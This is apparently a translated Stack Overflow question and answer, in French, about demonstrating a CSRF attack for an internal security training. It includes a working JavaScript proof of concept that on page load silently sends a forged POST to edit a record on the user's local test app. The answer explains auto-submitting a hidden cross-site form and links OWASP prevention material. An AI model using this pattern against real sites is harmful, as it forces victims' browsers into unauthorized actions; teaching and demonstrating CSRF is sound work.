Comment démontrer une attaque CSRF
Je suis en train de faire une introduction à la sécurité web à d'autres personnes dans notre entreprise, et je veux montrer quelques exemples pour avoir plus d'impact.
Pour cela, j'ai créé un petit site web qui est vulnérable à cette attaque, ce site sera accessible uniquement sur notre réseau.
Je vais maintenant essayer d'exploiter cette attaque, mais j'ai une question:
Comment faire cela avec un formulaire POST?
Je n'ai pas de problème de le faire avec une requête GET, mais avec un POST, je vais essayer de faire ça avec du javascript, pas de problème si je héberger mon code sur le même hôte, mais si je veux héberger mon code à un autre hôte pour être plus réaliste, j'ai bloqué parce que c'est un cross-domain demande.
Alors, comment dois-je envoyer ces POST vars?
Merci!
Voici mon code actuel:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
var http = false;
//Use IE's ActiveX items to load the file.
if(typeof ActiveXObject != 'undefined') {
try {http = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {http = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {http = false;}
}
//If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
} else if (window.XMLHttpRequest) {
try {http = new XMLHttpRequest();}
catch (e) {http = false;}
}
return http;
}
function post_to_url(path, params, method) {
method = method || "post"; //Set method to post by default, if not specified.
//The rest of this code assumes you are not using a library.
//It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function postToUrlBackground(path, params){
var http = getHTTPObject();
http.open("POST", path, true);
//Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
//alert("Response received");
}
}
http.send(params);
}
function TryAttack(){
//alert("Sending");
postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
//postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" );
//alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
source d'informationauteur J4N | 2011-07-25
Vous devez vous connecter pour publier un commentaire.
Sur les "autres" (les attaquant) il vous suffit de créer un
FORM
avec la méthodePOST
dontaction
(c'est à dire lorsque le formulaire est soumis) est votre vulnérables app. Ensuite vous présenter avec javascript sur cette page.Comme ceci:
Cette présentera un
POST
à votre vulnérables application de l'attaquant de l'hôte, lorsque vous ouvrez cette page.Les articles suivants et les exemples devraient vous aider démonstration d'une attaque CSRF.
http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html
CSRF de la prévention
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
Et cette question sur Stackoverflow.
Base de cookie & CSRF question